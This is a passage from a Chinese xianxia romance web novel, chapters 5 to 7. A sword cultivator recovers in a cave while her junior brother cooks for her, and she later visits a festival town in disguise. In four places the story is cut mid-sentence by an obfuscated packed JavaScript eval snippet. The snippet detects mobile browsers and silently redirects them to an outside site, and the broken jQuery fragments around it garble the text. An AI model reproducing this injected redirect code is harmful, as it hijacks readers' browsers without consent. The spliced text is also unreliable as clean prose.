陈舒朝躺在榻上小憩,对他的动作一概不管,直到他小声对她道:“师姐,可以让一下么?” ? 她躺在榻上能碍着他什么事? 睁开眼一看,陈舒朝沉默了。 她方才并未完全睡去,对江砚辞的动作一直有留意,但并不完全知晓他在干什么,只知道他没有做一些小动作。 毕竟阵法对她的伤害一直都在,能节省力气就节省些力气。 果然还是大意了。 这还是原来那个洞穴么? 只见整个洞内,除了她方才躺的寒冰榻,全都被裹上了一层灵兽毛,脚踩在地上,温暖又柔和。 没了至纯寒气发出的光,转而用灵火点缀在各个地方,排列看似散乱,实则规整,为毛绒洞穴锦上添花。 这其实是符合她的审美的,但是…… 就在她站起的几息内,她的榻上也被裹上了毛绒绒。 算了,魔头的气场没就没了吧,舒服就成。 陈舒朝躺回榻上,被细细密密的绒毛包裹,是挺舒服的,她注意到江砚辞也脱了鞋,光脚踩在地毯上。 “这是什么毛?” “灵兔毛。怎么样,是不是很舒服?” “嗯,做得不错。” 江砚辞被夸了,顶着满身的伤痕,眯起眼睛,极其骄傲。 师姐畏寒,全部裹上一层灵兔毛虽说不能完全阻隔寒气,但至少能让师姐舒服些,也能让祛寒的过程顺利些。 还有这些灵火,他带了不少灵石作为燃料,肯定是够用的。 寒气扎根多年,一下子祛除肯定不可能,这注定是一个需要上月的工程。 准备好一切,陈舒朝盘腿坐下,吞下天残丹。 药物在体内流淌,顺着经脉一点点拔除至纯寒气。 这个过程并不舒服,甚至称得上是痛苦。 她闭着眼睛,眉头无意识蹙起,豆大的汗滴顺着鬓角流下,即便是这种时候,她也没完全放松警惕,留出一丝神识观察外界。 江砚辞也盘腿坐在师姐面前,相处这几天,他看得出师姐一直对他有防备。 不过……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669377|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他以手捻住随他动作乱晃的流苏耳坠,嘴角勾起一抹笑。 师姐还是那个师姐,就算变了一些,那也是他师姐。 想到什么,他眸子暗了暗。既然师姐没有入魔,那么当年到底发生了什么? 江砚辞摆好姿势,放下手,入定疗伤。 他受的都是皮外伤,看着严重,实际也挺严重,不过,治起来很简单。这种程度的伤,是个修士都会遭遇。 治疗也不着急,治到一半,他起身又捣鼓起了什么。 两个时辰过去,陈舒朝从入定中苏醒,首先闻到的便是一股香味。 他又做了什么? 睁开眼,陈舒朝发现即便自己做了心理准备,但显然没准备全。 桌上摆了几盘菜,少年仍在一旁忙忙活。 他在做饭,袖口挽起,露出精瘦的小臂,肌肉线条从被白色绷带掩盖的部分流畅地延伸出来,露在外面的脖颈处也缠了绷带。 看来已经为自己处理过伤口了。 察觉到她醒来,少年扭头笑道:“师姐醒啦?饭一会儿就好,你可以先吃点。” 脚下是毛绒绒的触感,桌上是散发着香味的饭菜,一旁是忙碌的身影。 若是忽略掉其他的一切,这真像是一个家。 家。 仿佛是某根弦被触动,想到这样的字眼,陈舒朝的眼睫颤了颤。 她坐下,视线扫过桌上。 清蒸鲈鱼、鸡汤小白菜、紫菜蛋花汤、素炒三丝…… 都是一些普通的凡间家常菜。 陈舒朝拿起筷子,夹了一块鱼肉,鱼肉紧致细嫩,各种小料全都入味,既去掉了鱼的腥味,又很好地保留了它的鲜味。 她挨个将所有菜品尝一遍,得出一个结论: 她的师弟很会做菜。 比她之前吃过的所有都好吃。 如果他以后修炼不下去了,去凡间开个酒楼绝对能大赚。 江砚辞盛了两碗米饭过来,拉个凳子坐下,眼睛亮亮地看着她:“师姐,怎么样,好吃么?” "好吃。" 陈舒朝将自己那一碗饭拉至身前,斯文又快速地吃起了饭。 “师姐今日就到这里么?” “嗯,寒气太多,一步步来,每日两个时辰,一个月左右便能完全祛除。” “这样……”江砚辞试探着问,“那以后,每日三餐都由我来做?” 他抬头观察师姐的神情,见她一脸「当然,不然要我来做么」的样子。 她理直气壮:“我不会做饭。” 江砚辞笑笑,伸手摩挲了下碗边,什么也没说:“好。” 一顿饭吃完,江砚辞去收拾碗筷。 虽然一个除尘术就可以解决,但没必要,这里灵气稀薄,几乎无法修炼,灵力补充只能靠灵石。 能省则省。 陈舒朝在床榻上躺着,久违地感到了无聊。 她能找的天材地宝都找了,不能找的还要靠那个忙忙碌碌的身影,祛除寒气也不能急功近利,只能一日日来。 修炼也修炼不了。 她突然想起前两日江砚辞送来的各种小玩意儿。 有点幼稚,但可以解解闷。 于是将那枚储物袋翻找出来,哗啦一下倒在兔毛地毯上。 江砚辞听到声音扭头,正好看到有个东西弹了两下,滚到他脚边。 他歪歪头。 这是在干嘛? 5. 清蒸鲈鱼 “邦邦。” 陈舒朝拿着拨浪鼓摇两下,放下。 江砚辞手里拿着碗,贴心地解释:“这叫拨浪鼓,民间小孩的玩意儿。” 陈舒朝无语地看他一眼。 她当然知道这是什么,她玩拨浪鼓的时候他还没出生。 江砚辞被她瞪一眼乖乖回去洗完。 接下来陈舒朝拿出了一只小狗摸样的物件,放在嘴里吹,发出嘟嘟的声响。 这是泥叫叫。 投壶、九连环、陀螺、弹弓、竹马……甚至还有一个风筝和蹴鞠。 ……干嘛,在山洞里放风筝和踢蹴鞠么? 最后是一个布娃娃——一只巨大的狸花猫。 她随手将娃娃扔在榻上,盯上了正在洗碗的江砚辞。 思考片刻,她张口道:“师弟,你来教我做饭吧。” 她语气淡淡,将一个要求近乎说成了命令。 说完感觉不太妥当,皱了皱眉正要再说些什么,对方抢先一步出口:“好的。” 陈舒朝抬首望去,江砚辞已收拾好一切,侧了侧身子,让出一个位置。 那里被他放好了做饭要用的一切工具。 能教师姐做饭,他真的非常乐意,还有一丝丝荣幸。 师姐可是几千年来第一位大乘期修士,四十年前多少人求着被她教导,连见一面都难于登天。与魔君的一战更是名扬万里,谁听了不说一声惊才绝艳。 当年的师姐才两百多岁,便成了无数人争相追捧的榜样。 如今他居然能与师姐共处一室,还能教她做饭! 实在是有些兴奋,他愿意用毕生所学去教师姐! 陈舒朝要学的第一道菜便是清蒸鲈鱼。 江砚辞从储物袋里拿出葱、姜和鱼。 鱼甚至还在活蹦乱跳。 ……他储物袋里成天都装得什么? 江砚辞倒是很有兴趣,把菜刀递给她:“先对着它的头拍两下,等鱼死了之后是刮鳞、破肚,取出不能吃的内脏。” 陈舒朝依言照做,将鲈鱼处理好。 然后是把姜和葱切丝,这个她擅长,毕竟是剑修。 她跟着江砚辞,每一步都做得堪称完美,连江砚辞都赞不绝口。 陈舒朝很有信心。 然而—— 掀开锅盖,她看了一眼,又默默合上,坐回榻上。 “怎么了?”江砚辞问,按他的步骤来,成品应该不错……至少肯定能看,不至于看一眼就这个表情。 陈舒朝闭了闭眼,道:“这鱼在挑衅我。” 江砚辞:“?” 他听不懂,于是决定自己去看。 掀开锅盖,首先闻到的是一股香味,这个时候,他还在茫然,待看清了这道菜的样子:“……” 他露出了和陈舒朝一模一样的表情。 “虽然它这个样子确实吓人了些,但步骤没错,味道应该是好的。” 陈舒朝扭头看他:“那你先吃。” 江砚辞略显僵硬地盛出鱼,放在桌上和它大眼对小眼。 这鱼实在是…… 只见那鱼张着个比拳头还大的嘴巴,嘴边被撑得只剩薄薄一层,两只眼睛全白,像惨死的鬼一样瞪着前面。 这场面实在是有些诡异。 也怪不得师姐说鱼一直在挑衅她。 他确信步骤没有问题,味道闻着也是香的。 即便这样,也要做足心理建设,他僵着手拿起筷子,夹一块鱼肉夹了几次都没成功,手抖得像凡间的八旬老爷爷。 做足了心理建设,他闭上眼,一鼓作气将鱼肉吃下去。 嚼两下,喉结滚动,咽下去。 他睁开眼,眸子里发出光芒:“师姐,好吃的!快来尝尝!” 陈舒朝瞥他一眼,将信将疑地坐过去:“你确定……这能吃?” 她一扭头就能和那全白的鱼眼对视上,感觉自己欠了它八百万灵石。 它绝对是在讨债的吧,绝对是吧。 但在师弟面前怎么能露怯? 陈舒朝取一双新筷子,余光瞥着鱼眼,咽下鱼肉。 “是挺好吃。”她有些惊讶,毕竟是第一次做,一些小瑕疵还是有的,不比师弟做的,但算得上不错。 不过再好吃,看着这样的眼睛还是会没有胃口的。 吃了两口,她放下筷子,看江砚辞还在吃,面色复杂。 这鱼真不算太好吃。 “江砚辞,我做的鱼,味道我也尝了,不喜欢就不吃了。” 若是对她另有所图,做到这个地步,那还挺敬业的。 江砚辞没有停下,吃得腮帮子一鼓一鼓的:“第一次做成这样,师姐真的很厉害了。” 嘴里的鱼肉咽下,他补充道:“所有的第一次都很重要,我觉得应该要重视,所以,师姐的鱼,我会吃完的。” 陈舒朝怔了怔,她想起了自己还未入道的时候。 她是凡间一位大户人家的小姐,从小衣食无忧,要星星要月亮,上头两个哥哥都对她极尽宠爱,就算上方揭瓦也会拍手叫好。她在凡间从未受过委屈,这也造就了她极其骄傲的性格。 步入修真界,她不甘屈居人后,即便天资卓绝依旧努力修炼。 可这里不比家里,她是天之骄子,但不是所有人的中心。 很少有人会因为她学会了一套剑法或提升了一个小阶而大肆表扬。 他们尊敬她、追捧她,但从未有人走进她。 这都是一些很小很小的情绪。 她可是正道魁首,她领导整个宗门,代表整个修真界,她喜欢这种受人追捧的感觉,并为之骄傲。 可是现在,有人将连她自己都不在意的情绪翻出来,对着它们说:“你们值得被重视。” 那是什么感觉? 陈舒朝形容不出来。 大概是溺水的人终于活在空气中,黑暗里的人见到了月光。 那是活着的感觉,是心脏跳动的感觉。 她眼睫轻颤,蜷缩了下手掌。 少年已经将小半条鱼吃下,修长的手指捏着筷子,微微动作就从整条鱼中夹起一小块鱼肉。 他吃得认真,注意到身旁半晌没动静,扭头问:“怎么了师姐?” 陈舒朝回神:“没什么。” 就是不知道,这样毫无保留的好意中,到底有几分真心。 她学着他的样子,夹起鱼肉送入口中,将一切试探与杀意隐藏得无影无踪。 之后,她又学着做了几道家常菜,吃起来都还不错。 看来她也挺有做饭天赋的。 山洞内原本只有一个寒冰桌和一张寒冰榻。江砚辞来了之后,这里多了一张榻、两个修炼用的蒲团、两张板凳、以及一些做饭用的锅碗瓢盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669378|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈舒朝充分怀疑,他不是来暂住一个月的,而是准备赖在这里不走。 江砚辞来的这段日子,她的生活质量确确实实得到了提高。 往常一人住时,除却外出寻物的时间,她在惊雷峰就只能用睡觉来休养生息,为下次出去做准备。 而现在—— 柔软的床榻与地毯自不必说,她每日只需花两个时辰入定剔除寒气,剩下的,吃饭有人做、喝水有人端、床榻有人整理、无聊了也有人解解闷儿,除了暖床,他什么都做得。 陈舒朝甚至在想,将来她破除封印出去时,能不能将他掳去照顾她的饮食起居。 她当然有信心破除封印,就看他愿不愿意了。 目光落在那道忙活的身影上,陈舒朝唇角勾起一个好看的弧度。 不愿也没用,她可以用强的。 察觉到师姐狂热的视线,江砚辞僵了僵,他不知道那是什么意思,只觉得如芒在背,洗碗洗得更认真了。 少年一脸认真地盯着餐盘上的污渍,如临大敌,用力地搓了搓。 他是修士,且是个元婴修士,这么一用力不得了,只听「咔嚓」一声,盘子从中间裂开,另一半顺着洗碗池掉下,被厚厚的地毯接住,弹了两下。 少年慌忙捡起,一个手滑又掉在地上,撞到桌角,终于不堪重负,又裂了两半。 陈舒朝:“……” 在他偷偷摸摸看过来前,陈舒朝面无表情地移开视线,阖上眼睛,假装在小憩。 他听到江砚辞悄悄松了一口气。 ……算了,这么毛躁,到时候塞给她,她也不要。 一旁灵火跃动两下,陈舒朝掀开眼皮,捏了一个来把玩。 灵火本质上是一颗装满火灵力的灵石,被打磨得圆润小巧,用时打入自身灵力引燃,便能烧上几日,光芒极亮,只需十几颗,便能使常年不见光的山洞亮如白昼。 陈舒朝不怕火,灵火捏在手里暖烘烘的,她时常用来暖手,只是这次,还没在她手里转两圈就「噗」地一声灭了,只剩个琉璃球似的东西在她手心里滚动。 陈舒朝:“……” 怎么就这么巧,撑着一口气专门等她来碰是吧? 论破坏能力,他俩好像不遑多让。 江砚辞清洗完碗盘,转头注意到动静,走近坐在榻上的师姐:“算算日子,这些灵石灵力也该耗光了。师姐给我吧,我储物袋里还有好多,换一个就好了。” 陈舒朝抬眸递出琉璃球。 江砚辞伸手去接,刚一触到,只听得「噗噗噗」几声,所有灵火灭了个精光。 陈舒朝、江砚辞:“……” 这倒底是为什么? 两人都沉默了。 江砚辞沉默地接过琉璃球,沉默地从储物袋中拿出新的,沉默地将满屋乱蹦的琉璃球全部收好,换上了新的。 室内重新亮堂起来,灵火的光将两人的影子映在墙上,黑色的影子随着火光一跳一跳。 陈舒朝没忍住,看着找琉璃球把自己找得灰头土脸的江砚辞,“噗嗤”一声笑出来。 江砚辞不明所以,随着她的目光,摸了摸自己的脸,摸到一手灰。 他绷紧嘴角,想叫她别笑了,结果一张嘴,自己也笑了出来。 两人笑作一团,笑声与火光和影子交错着上上下下。 一个月很快过去。 6. 下山 一个月过去,陈舒朝体内的寒气祛除完毕。 江砚辞收拾好东西离开,留下了毛绒绒的灵兔毛,以及一些食物和做饭用的工具。 她给自己做了饭,吃完已到戌时。 躺在榻上,四下幽静。 闭目,她分出一部分神识,飘出山洞,悄无声息地穿过封印,在不远处的山洞化形为一个与她本体两模两样的女子。 女子一身无量宗宗服,在宗内四处行走也无人在意。 现在是午时,阳光正盛,她掏出一柄木剑,方要踏上去,一旁传来一道声音:“小师妹,你要回杂役峰么,能不能捎师兄一程?” 陈舒朝扭头去看,声音的主人也着一身宗服——改造版的宗服。 宗服原本是白袍,绣着金色云纹和金边,袖口大到能藏个人,确实仙气飘飘,也确实很不方便。 所以除了开大会,大家都少有穿宗服的时候,可他嘛…… 这人叫周雨泽,杂役峰长老二弟子,最大的特点便是穷。宗服有自动清洁能力,也有一定的防护功能,这种衣裳,他攒灵石攒两年也买不起一件,于是就一直穿着宗服了。 又因为宗服不方便干活,他干脆将其改造,袖口扎起,用金色剑袖固定,再把裙子改成裤子,拒绝任何不方便他赚灵石的部分,连头发都束得一丝不苟。 不过还别说,这么一改造还真是又方便又好看。 至于为什么叫她师妹—— 她这个身份叫陈之予,为方便行动以及避免被认出,在十五年前隐藏修为拜入杂役峰。 毕竟杂役峰就算是长老也不过金丹期,不可能看出端倪。 她原先就想当个杂役峰小透明,死两天也没人发现的那种。未成想,就算她极力隐藏修为也还是比峰内大多数人快上不少,很快便被长老单萧收作亲传弟子,在她之上还有一位师姐和一位师兄,带上她,这位长老的亲传统共三个人。 可以说,这非常限制她的行动,一消失两天就会有十几条玉简消息传来,平常也只能靠出任务的借口行动。 还有就是,她这个身份也非常穷,至今用着一把桃木剑。 陈舒朝看看周雨泽,一刻也没犹豫地拒绝了:“不要,我是去兑换任务积分的。” 她之前接了个为期两个月的任务,还有三天截止,她得先去把这个任务提交了。这个任务可是有整整五个积分,可以兑换一件不错的法衣。 周雨泽一听,马尾晃了晃:“那带上我一起呗,我顺便也去接个任务。” 她思考片刻,视线落在他的宗服上:“可以,帮我也改下宗服。” “成交!” 兑换完积分,周雨泽看着陈舒朝大几十的积分余额流下了羡慕的口水。 “小师妹,你这么多积分怎么不多换点漂亮衣服,或者换一柄好点的剑。” 就连他这么穷,用的也是铁剑而非木剑。 陈舒朝无视那二三十条未读消息,收起玉简,召来木剑,踩上去,掐诀。 升起一丈多高,周雨泽立马手脚并用地爬上去。 “师妹师妹,你慢点!” 陈舒朝额角青筋跳了跳:“你的剑呢?” 一说起这个他就委屈:“断了,和别人切磋时断的。” 他说得含糊,具体原因太丢人了。 他前阵子太缺积分,接了个代打的任务,任务积分一个,剑断了去补需要两个积分,最重要的是,还没打赢。 他一个筑基初期对上筑基中期,当然赢不了! 实在是悲催,他现在积分余额只有一,得再去接个任务,才能去补剑。他刚接了个两积分的任务,不过要夜里才能去完成,现下只能先随师妹回杂役峰了。 想起来这个,他兴致勃勃地问:“师妹,酉时初可否再带我一程,我请你看烟花。” “不去。” 周雨泽:“去嘛去嘛。” “不去。” 周雨泽咬牙:“那,积分分你一半。” “不要。” 他没招了,给出全部积分是不可能给的,他眼珠转了转:“师妹对一个月后宗门大比有兴趣么?” 陈舒朝御剑的手一顿:“说。” “晚上载我一程。” “那算了,我自己去打听。” “诶诶诶别,师兄妹一场,我说就是了。” 周雨泽瘪了瘪嘴,看看下方藏进云里的山峰,抓着小师妹衣袖的手紧了紧:“师妹你现在虽然是筑基大圆满,可距离金丹还是有些距离,一般来说参加不了宗门大比。” 既然这么说了,那现在就是二般情况,陈舒朝静静地听着,耳畔还有阵阵风声。 他组织了下语言,继续道:“这届大比比较特殊,奖品神秘且不公开。”他顿了顿,声音很小,像是怕别人听到,“接下来的内容是我偷偷听到的,你千万别说出去。” 陈舒朝点头。 “那奖品其实是我们师尊提供的,要求只有一个,让你参加这次大比。” 陈舒朝不理解:“为何?我如今是筑基大圆满,要不了多久便能突破至金丹,也不急于这一时。” 周雨泽看着她,也是一脸不理解:“师妹,你还好意思说‘要不了多久’,你卡在筑基大圆满已经八年了!你不急我们都快急死了。师尊不是想着你可能缺个机缘嘛,就据理力争给你塞进去了。” 哦,忘了这茬。 不过这也方便了她,她还想着要怎么进去。 “成,酉时前一刻来找我。” 周雨泽脑子懵了一瞬才明白过来她说的是什么,立马心花怒放:“好!师妹万岁!” 他就说小师妹嘴硬心软,不会不管他的。 呜呜呜,他爱小师妹。 回到杂役峰,刚一下剑,一道红色的身影冲过来抱住了她:“我的好徒儿,你可算回来了!你看你,都瘦了,这两月过得好么,怎么不回师尊消息?” 没错,那二三十条消息都是她发的,师兄师姐都有事,也就只有她这么闲。 单萧生得高挑,比陈舒朝高了小半个头,就这么抱着她,两团柔软的部位贴紧她。 陈舒朝推了推,没推动,整个人面无表情:“师尊,大比的事师兄已经和我说了。” 转移战火。 果然,单萧一听这话立马松开了她,拳头已经到周雨泽头顶了。 “你小子又偷听我说话!找揍是不是!” 周雨泽抱头狼狈逃窜:“小师妹你不讲道义啊——哎呦,师尊别打别打,您若真不想叫我听见,凭我的实力,我能听见么!” “还嘴硬!” 陈舒朝微笑地看着他们打闹:“师尊,师姐呢?” 说起这个她就来气,揍周雨泽揍得更用力了:“历练去了,也是个不着家的。” 可怜的周雨泽。 陈舒朝偷偷溜回了房。 杂役峰在无量宗东南角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669379|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们师徒四个住在峰顶。 这里有阵法保护,四季如春,整齐地排列着四座竹屋,回了自己的小屋,她躺下,施了个障眼法,神识回到惊雷峰的小山洞里。 神识是无法进食的,只有本体能尝出食物的味道。 她随手拿了个苹果来啃。 江砚辞是天之骄子,无量宗里没人不认识他,她之前没怎么关注,是以刚遇到时脑子没转过来,如今回了一趟杂役峰,倒是都想起来了。 她之前没见过这位天之骄子,只是听说他待人温和有礼,对谁都有一种有距离感,可靠,值得信赖……和她见的好像不太一样。 陈舒朝躺下,感觉压到了什么东西,抽出来发现是只狸花猫布娃娃。 啊,想起来了,她当时随手扔在榻上就没管过了,之后好像被江砚辞收起来了,是他离开时放在这里的么? 陈舒朝将它摆在床头,满意地点点头。 嗯,还是有点可爱的。 欣赏没一会儿,她算着时间,回了小竹屋。 刚回去,门就被叩响。 天色已晚,日头在一点点落下,把半边天都染成了紫色。 打开门,周雨泽就站在门外,兴奋之情溢于言表:“我们走吧!” 他的积分他的剑,马上就有了! “去哪?” “山下宁城!” 宁城是无量宗周边最繁华的城市,修士与凡人杂居,有着完整的城规,避免了大多数两者之间的矛盾。 宁城禁空,到达城门口他们就下了剑。 太阳已经完全落山,这里的人依旧络绎不绝,灯火通明。 周雨泽表现得异常兴奋:“这个任务是我挑选了好久才找到的,既轻松赚得又多。最重要的是——” 他靠近陈舒朝耳边:“发起人是主峰上那位。” 陈舒朝一脸莫名其妙:“哪位?” “当今宗主唯一的弟子,年纪轻轻就到达元婴的那位。” 陈舒朝顿了顿:“江砚辞?” “嘘——”他竖起一根手指抵在唇上,“小声点小声点,他让我保密。” 陈舒朝挑眉,这人还挺神秘。 “他一个月前回宗,回来先闭关了一个月,出关后无数人争着要请教他修炼上的问题,忙得抽不开空,才发了这么个任务让人替他买些东西。” “他还是匿名发的,就这么巧让我接住了,我也是加了他玉简才知道的他的身份,清单他已经发给我了,等会我们要和他先碰头,他把买东西所需的灵石给我。” 越走他越兴奋:“要不我把他玉简推给你,那可是江砚辞!” “不用了。”她要他玉简又没什么用。 她还是觉得有些奇怪,这人都下山了,为什么还要请人帮忙买? 他若说自己有事要办,那些请教的人还能不让他去不成?若不想让人发现,凭他的修为一个障眼法足矣骗过大多数人。 干嘛搞这么多弯弯绕绕。 思索间,身旁的人停下了脚步。 陈舒朝抬眸望去。 桥上,密集的人群间,一位少年一身青衣靠着围栏,夜风吹动他的发丝,端的是一副翩翩君子的模样。 尽管他身上施了障眼法,她还是一眼认出。 倒不是她对他有多熟悉,而是她修为比他高。这种程度的障眼法于她而言,如若无物。 注意到目光,少年朝他们看去,挥了挥手。 7. 神明 江砚辞主动走近他们,把一个储物袋交给周雨泽:“给,这里面装的是灵石,不够的话明日找我要,多了你就自己留着吧。” 他是神仙么!怪不得主峰的人都这么喜欢他。 周雨泽快感动死了。 “那这储物袋……” “你留着吧,不是什么贵重东西。” 天哪,说话温柔人又大方,他也快要爱上了! 陈舒朝默默离他远点,不想承认自己认识他。 “多谢师兄,师兄慢走!” 周雨泽用力挥手,整个人兴奋至极。 江砚辞却没走,他眸光温润,望向旁边的小姑娘,青色耳坠随着他的动作摇晃。 陈舒朝回望过去,两人的视线在空中交汇。 周围行人走走停停,月亮悬在高处,桥下河灯无数。 这人在洞内是个毛手毛脚的,在外面倒是挺正经,看起来很靠谱。 “她叫陈之予,这是我小师妹!”周雨泽知道师妹怕生,挺直了腰杆帮她介绍,“我剑断了是她载我来的,师兄放心,我师妹嘴可严了。” “不用特意帮我隐瞒,”江砚辞温和地笑笑,“要买的东西增加了几样,发你玉简上了,我先走了。” 陈舒朝看着他的身影远去,总觉得他的笑容并不那么友好。 她可以确定,他没有看出她的身份。 待人走没影,陈舒朝问:“今日是有什么节日么?怎么这么多人。” “今日是……”周雨泽边说边打开玉简查看,一下子瞪大了眼。 “怎么了?” “这个……”他亮出玉简给她看。 陈舒朝凑近,这是一份置物清单,前面写的都是正常的物品,一些碗筷、椅子、锻剑材料等等。 后面则是一些女款衣裙、发簪、玉镯…… 周雨泽不可置信,自以为声音很小地大声道:“师兄居然喜欢穿女装!?” 这句话出口,周围立即投来几道探究的目光。 他捂住嘴,拉着陈舒朝去了个无人的胡同。 “没想到他居然有这样的癖好,怪不得买个东西还要偷偷摸摸匿名发布悬赏。师妹,虽然他说不用特意帮他隐瞒,但我们一定要瞒住其他人。” 他握紧拳头,使命感油然而生:“师兄这么好,有点癖好也在所难免,我们一定得守住,不能让他遭受异样的目光!” 陈舒朝:“……” 这傻孩子,对方这是笃定了不会有人信。 这么一打岔,她也忘了自己方才想问什么了。 胡同里有些昏暗,她借着玉简的光看清了衣裳的尺寸,心理顿时微妙起来。 这些都……完美贴合她的身材。 周雨泽也发现了这点,看看玉简,又看看她,最终亮着眸子张口:“师妹,看来是我误会了。” 什么? “这衣裳尺寸不对,师兄不是买来自己穿的!看来师兄是开窍了。” 他用一种诡异的目光看她:“你也是女孩子,身形也对得上……” “怎么了?” 这傻小子不会思维跳脱诡异到能将她和江砚辞联系起来吧? 虽然事实确实是这样。 就算他误打误撞猜对了,自己也不会信吧? 周雨泽仿佛做下了一个决定命运的决策般,开口:“师妹,你就再帮师兄一把,替我试衣裳吧?我不会看尺寸。” “事成之后,所有报酬分你一半。” 他捂着储物袋:“但这个只有一个,归我!” 陈舒朝:“……” 是她太高看他了。 周雨泽一看她的表情,捂着储物袋的手缓缓松开:“若你真的想要的话,也不是不可以给你……” “走吧走吧,行了我答应你了。” 陈舒朝快走两部,出了巷子,发现他在后面一副肉疼的模样。 甚至一只手和另一只手打起架来了。 左手想要把储物袋递给她,右手拼命拽着左手。 路人都默默地离他们远了些,倒是不挤了。 甚至有人犹豫着上前:“这位道友,你、您身后这位看起来不太好,我是个医修,需要帮忙么?” 周雨泽已经沉浸在自己的艺术中了,完全注意不到身边发生了。 陈舒朝沉默了下:“我或许知道怎么治他。” 她其实很想装作不认识他,但现在明显晚了,她只能深吸一口气,微笑,语气温和至极:“周师兄,我不要你的东西,不必再上演什么苦情剧了。” 医修疑惑地看着那位被唤作「周师兄」、精神不太正常的男人,只见他在听到声音的下一瞬,立马站好,神情严肃:“不行师妹,我不能让你白给我干活!” 他说得义正词严,手却是遵从本心地紧紧握住那枚低调奢华的储物袋。 那看起来真的值很多灵石。 那位女修又开口道:“行吧,那你把储物袋给我。” 听到这话,周师兄又开始了天人交战,刚才仿佛被鬼上身的一幕又开始上演。 医修:“……” 好像是什么不得了的开关。 “如你所见,这人没什么病——” 陈舒朝觉得这话不太对,又道:“这人的病不是医修可以治的。” 医修抱拳:“了解,此病只有灵石可解。” 陈舒朝认同地点头。 等东西买齐,已是人定亥时。 华灯初上,河里的河灯多了一倍不止,几乎看不见河水。 许多男男女女在河边打趣、笑闹、许愿以及放河灯。 她忽然想起自己之前的疑问:“今日是有什么节日?” “师妹不知道么?”周雨泽完成任务,神清气爽,“今日是重七呀。” 重七,也就是七夕节。 修真无岁月,凡间节日多样且一年一次,对于修士来说太多频繁,很多都失去了意义,很少有修士去在意。 除却除夕,几乎都不怎么过,更何况是与修真少情寡爱背道而驰的七夕节。 在这种时候买许多女子喜欢的衣裳首饰,怪不得他会误会。 想到这里,陈舒朝顿了顿。 或许是她太过自作多情,她对江砚辞的了解大多来自传闻,以及那一月的相处,可谓是知之甚少。 他或许……真的有喜欢的女子? 只不过恰好与她身形相似。 “师妹要放河灯么?” 周雨泽的话打断了她的思绪。 见师妹看过来,周雨泽连忙摆手:“放心师妹,我对你没那方面的意思,我是拿你当亲妹妹看的。” 他拍拍陈舒朝肩膀:“走,哥带你去放河灯,别人有的,你也要有。” 陈舒朝倒真没多想,她想的是另一件事:“你出钱么?” 周雨泽咬牙:“我出,师妹这一顿,我请了!” “行。” 卖河灯的小摊就在河边,他们走过去时,花样已不剩多少了。 只剩下最常见的莲花灯以及一些动物。 十二生肖不必说,只剩下零星几个,还有一些其他常见又受人喜爱的动物。 挑来挑去,陈舒朝拿了盏大橘猫样式的。 周雨泽则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669380|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了盏莲花灯。 他对这些寄予神明的做法并不怎么感兴趣,若是求神有用,他也不会困在筑基初期这么多年,天赋之论也都成了笑话。 也有说,神明指的是大乘期修士,他们离飞升最近,可以听得见凡人的愿望。 若她真能听见,又为何会杀了他唯一的亲人—— 他的妹妹? 可见,神明之论,不过是凡人的妄想罢了。 “师兄?” 面前突然出现一只手,左右摇晃了两下:“走吧,别舍不得灵石了,我已经付过了。” “哦哦好,”他像是才反应过来,“多谢师妹。” “几块灵石而已。”陈舒朝无所谓地摆摆手。 周雨泽看着她潇洒的背影,快走几步跟上。 若是他妹妹能活到现在,差不多也是这样子吧。 可能会对他这副爱财的样子恨铁不成钢,总是露出一副嫌弃的样子,或许比师妹还要过分些,会指着他的鼻子骂他守财奴,骂他没有仙人风骨。 但还是会在付钱时,自己默默多付一点。 他也不喜欢自己这样,甚至是厌恶自己这副守财样。 可是妹妹。 若我当时有钱将你安置在无量宗山脚下,你就不会被那魔头杀了去。 钱比神明有用。 哥害怕。 * 陈舒朝站在河边,想了想,实在想不出要许什么愿望。 她扭头去看旁边的人,见他正把莲花灯往河里放,问他:“你写的什么?” 